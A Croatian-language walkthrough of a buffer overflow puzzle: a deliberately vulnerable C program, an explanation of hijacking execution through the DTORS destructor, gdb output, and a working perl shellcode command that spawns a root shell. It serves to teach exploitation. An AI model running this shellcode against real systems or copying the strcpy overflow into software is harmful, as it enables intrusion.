Buffer overflow glavolomka -------------------------- Leon Juranic za h4z4rda Prije sat-dva na IRCu frend mi kaze da mu pomognem oko nekog buffer overflowa. Nakon par minuta skuzio sam da je stvar ipak malo za*ebanija nego sto se cini na prvi pogled. Ukoliko nemate pojma o cemu je ovaj tekst, preporucam da ga ni ne citate, jer ima puno low-level stvari. U nastavku je prilozen izvorni kod programa koji treba exploitati. ---cut here--- #include #include #include unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); // <- buffer overflow propust if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2); tmp = *lpp; **lpp = (unsigned long) &buf; *lpp = tmp; exit(0); } ---cut here--- Radi se o klasicnom stack overflowu izazvanom pogresnim koristenjem funkcije strcpy, kojeg je ipak malo teze exploitati. Kao sto je vidljivo iz programa, prepisivanje EIP registra na stacku nas ne vodi nikud, jer program izlazi funkcijom exit(), sto znaci da nema POP-anja EIP registra sa stacka. Preostaje svrljanje sa pointerima.... Bitno je uociti da se **lpp (pointer na pointer) moze prepisati samo adresom koja pokazuje na memorijske sekcije kao sto su DATA, BSS, CODE, itd. Na adresu na koju pokazuje **lpp zapisuje se adresa buffera 'buf' koji se nalazi na stogu i mozemo ga kontrolirati. Prvo mi je palo na pamet da **lpp (pointer na pointer) prepisem sa adresom exit() funkcije u GOT sekciji, no od toga ocito nema nikakve koristi. Nakon toga mi je palo na pamet da prepisem **lpp sa adresom koja pokazuje na adresu exit() funkcije u GOT sekciji, sto se pokazalo korisno, no trebalo je naci takvu adresu. S obzirom da se u PLT sekciji nalaze jump-ovi u GOT sekciju, to je bilo prvo. Uspio sam upisati adresu buffera 'buf' na adresu exit() funkcije u GOT sekciji, no '*lpp = tmp' je segfaultao, s obzirom da je PLT sekcija READONLY. Trebalo je naci sekciju po kojoj se moze pisati, a da sadrzi neku adresu cije prepisivanje moze promijeniti tok programa. Trazio sam sekciju koja sadrzi adresu DTORS destruktora pocevsi od DATA sekcije, pa nadalje. Adresa DTORS destruktora u ovom slucaju je 0x08049660 (gdb) x/x 0x08049570 0x8049570 : 0x00000000 (gdb) 0x8049574 : 0x00000000 (gdb) 0x8049578 : 0x08049660 <-------- evo ga (gdb) 0x804957c : 0x00000000 Bingo - memorijska adresa 0x8049578 unutar data segmenta sadrzi adresu DTORS destruktora. Ako overflowamo **lpp sa tom adresom, na liniji '**lpp = (unsigned long) &buf;', u DTORS destruktor se upisuje adresa buffera 'buf'. Prilikom izlazka iz programa poziva se DTORS destruktor koji EIP usmjerava na buffer 'buf' na stacku, sto omogucava izvrsavanje shellcoda. Exploitanje programa je prikazano u nastavku: [root@laptop TEST]# ./a.out `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";print "A" x 117 ; print "\x78\x95\x04\x08"'` sh-2.05a# <- HEHEHEHHE ;-) Jako sam umoran, pa se ispricavam za moguce greske u tekstu. Pozdrav...